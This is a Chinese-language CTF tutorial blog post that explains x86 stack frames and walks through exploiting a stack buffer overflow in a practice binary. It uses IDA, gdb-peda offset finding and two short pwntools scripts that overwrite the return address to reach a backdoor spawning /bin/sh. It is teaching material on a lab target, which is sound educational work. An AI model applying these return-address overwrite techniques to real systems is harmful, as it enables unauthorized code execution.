CTF-Pwn入門及棧溢出原理解釋

”Pwn”是一個黑客語法的俚語詞 ,是指攻破設(shè)備或者系統(tǒng) 。發(fā)音類似“砰”,對黑客而言,這就是成功實施黑客攻擊的聲音——砰的一聲,被“黑”的電腦或手機就被你操縱。以上是從百度百科上面抄的簡介,而我個人理解的話,應(yīng)該就是向目標發(fā)送特定的數(shù)據(jù),使得其執(zhí)行本來不會執(zhí)行的代碼,前段時間爆發(fā)的永恒之藍等病毒其實也算得上是pwn的一種。

1. 準備階段

這里介紹一些在接下來的教程中用到的工具

ida——交互式反匯編器專業(yè)版(Interactive Disassembler Professional),人們常稱其為IDA Pro,或簡稱為IDA。是目前最棒的一個靜態(tài)反編譯軟件

peda——PEDA是Long Le在Blackhat2012黑帽會議中放出的Python腳本工具,它可以輔助黑客編寫EXP,可以運行在Unix/linux系統(tǒng)上。

gdb——UNIX及UNIX-like下的調(diào)試工具

pwntools——pwntools是一個CTF框架和漏洞利用開發(fā)庫,用Python開發(fā),由rapid設(shè)計,旨在讓使用者簡單快速的編寫exploit。

這些軟件的安裝教程都可以在百度或者谷歌搜索得到,這里就不一一介紹了

2. 初步分析

點擊此處下載例子

首先我們用ida打開這個文件

在左邊的列表找到main函數(shù),雙擊,

可以看到main函數(shù)的內(nèi)容

然后點擊右邊的匯編代碼,按下Tab或者F5,可以看到匯編代碼翻譯成了c語言


再雙擊vulnerable_function


可以看到,這個函數(shù)非常簡單,只是單純的讀取一串字符,然后儲存到buf里面

但是

開辟的緩存區(qū)只有0x48個字節(jié)大小,但是read最多可以讀取0x100個字節(jié),這樣就會造成緩存區(qū)溢出。

那知道了有緩存區(qū)溢出,我們究竟要怎么利用呢?

不用著急,接下來我會詳細的介紹如何利用。

3.原理解釋

首先,我們引入棧幀的概念。(知道棧幀的可以跳過這一部分)

平時,我們寫c / c++ 代碼的時候經(jīng)常會用到函數(shù),那究竟函數(shù)在底層如何實現(xiàn)呢?

就拿我們上面那個文件來說,在main函數(shù)那里,調(diào)用了vulnerable_function

在匯編代碼下面是這樣的


那么call 這個指令做了什么呢?

具體是

(1)將當前的EIP壓入棧中(EIP寄存器存放下一個CPU指令存放的內(nèi)存地址)

(2)轉(zhuǎn)移

還沒執(zhí)行call 時程序的內(nèi)存如下圖


esp:寄存器存放當前線程的棧頂指針

ebp:寄存器存放當前線程的棧底指針

執(zhí)行call之后的內(nèi)存如下圖


這里的0x0000067A是call? ? vulnerable_function的下一條指令儲存的位置

然后下一步就是執(zhí)行vulnerable_function里面的內(nèi)容

首先是

push ebp,把main函數(shù)的棧底指針壓入棧

然后

mov ebp,esp , ?把esp的內(nèi)容傳送到ebp那里 (實在不知道怎么描述。。。)

push? ? ebx ?,把ebx壓入棧

sub? ? esp, 44h ?,把esp減去0x44,實際上是開辟緩存區(qū)

call? ? __x86_get_pc_thunk_ax

add? ? eax, 19D9h ? 這兩個指令暫時先無視

sub? ? esp, 4 和上面一樣

執(zhí)行完這些命令后,內(nèi)存如下圖


假設(shè)程序正常運行,執(zhí)行到


還記得上面函數(shù)開始的時候那幾個壓棧操作嗎,這里就是把東西從棧中還原

mov? ? ebx, [ebp+var_4] 這句就不解釋了,很簡單

leave ,這個指令等價于 mov esp,ebp ,pop esp,

執(zhí)行到這里再看一下內(nèi)存


然后下一條指令就是ret,等價于pop eip,也就是執(zhí)行完pop eip之后,下一步就是執(zhí)行0x0000067F處的代碼

最后返回main函數(shù)之后就變成

跟call vulnerable_function之前的內(nèi)存狀態(tài)一模一樣

這里為了避免誤會,特地說一下,圖上的main函數(shù)還有vulnerable_function的棧幀其實也算是棧的一部分?。。?/b>

4.實戰(zhàn)開始

解釋完函數(shù)的調(diào)用過程之后,我們回到正題

在ida左邊的函數(shù)列表中,我們可以找到


一個后門函數(shù),會執(zhí)行system("/bin/sh");

這個函數(shù)的開始地址為0x00005F0

我們的目的就是利用棧溢出,控制程序運行這一個函數(shù)

接下來跟著我一步一步做

首先把程序放到linux下面,然后打開控制臺,輸入gdb ./tutorial1 (或者gdb ?tutorial1的位置)

這里默認已經(jīng)安裝好了準備階段所說的插件或者軟件

然后輸入pattern_create 150

會顯示類似下圖


然后把除了開頭和結(jié)尾的引號的所有內(nèi)容復(fù)制

然后輸入 r,把剛才復(fù)制的內(nèi)容粘貼進去


再回車

然后就會變成類似下圖的狀況


這個時候你一定很想吐槽,這里的Program received signal SIGSEGV (fault address 0x41344141) 又是什么鬼,(手動黑人問號??)

還記得我們上面原理解釋所說的東西嗎,這里的棧溢出其實就是把保存在棧中的 ebp ,ebx ,0x0000067F 全部給覆蓋掉,可以拉上一點,看一下寄存器的東西


EBP變成我們輸入的內(nèi)容了,而這里的0x41344141其實就是覆蓋掉了0x0000067F,代碼指示說執(zhí)行0x41344141處的代碼,但是系統(tǒng)說臣妾做不到啊,0x41344141不知道什么鬼東西啊,我執(zhí)行不下去啊,于是就發(fā)出哀號,然后我們就看到Program received signal SIGSEGV (fault address 0x41344141)了,這個時候,我們就相當于用輸入的東西,控制了程序。

這時候在控制臺輸入pattern_offset 0x41344141


這樣,我們就可以快速得知,esp到保存0x0000067F的地方一共有76個字節(jié),所以我們只要輸入76個任意東西,再加上后門的地址,就可以控制程序執(zhí)行后門函數(shù)

新建一個python代碼文件,輸入下面的代碼,#后面的東西只是注釋,可以不輸入

from pwn import *

p=process('./tutorial1') #打開本地程序

ret_addr=0x800005F0 ?#后門地址,這里地址跟上文有些不同,因為在ida中的地址和實際運行的地址有稍微一些差別

payload='a'*76+p32(ret_addr) ?#76個a再加上后門地址

p.sendline(payload) ? #發(fā)送payload

p.interactive() ? #開啟交互模式

p.close() ? ? ? ?#關(guān)閉

運行這個python代碼,就可以看到出現(xiàn)了$號,輸入ls等命令也能成功執(zhí)行,一般的題目都會在本地放一個flag文件,cat flag.txt之后就可以得到flag

---------------------------------------------------我是分界線---------------------------------------------------------------------------------------------------------------

上面的附件可能有點問題,在本地的話后門地址應(yīng)該會不同,導(dǎo)致利用失敗

http://pan.baidu.com/s/1bQUoGI

這個附件應(yīng)該是可以正常pwn掉的,python代碼大體還是一致的,只是改了下文件名,后臺地址,還有緩沖區(qū)長度

from pwn import *

p=process('./overflow_tmp')

back_addr=0x804846B

payload='a'*52+p32(back_addr)

p.sendline(payload)

p.interactive()

p.close()


整個教程到這里的結(jié)束了,如有不妥之處請指正,謝謝

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容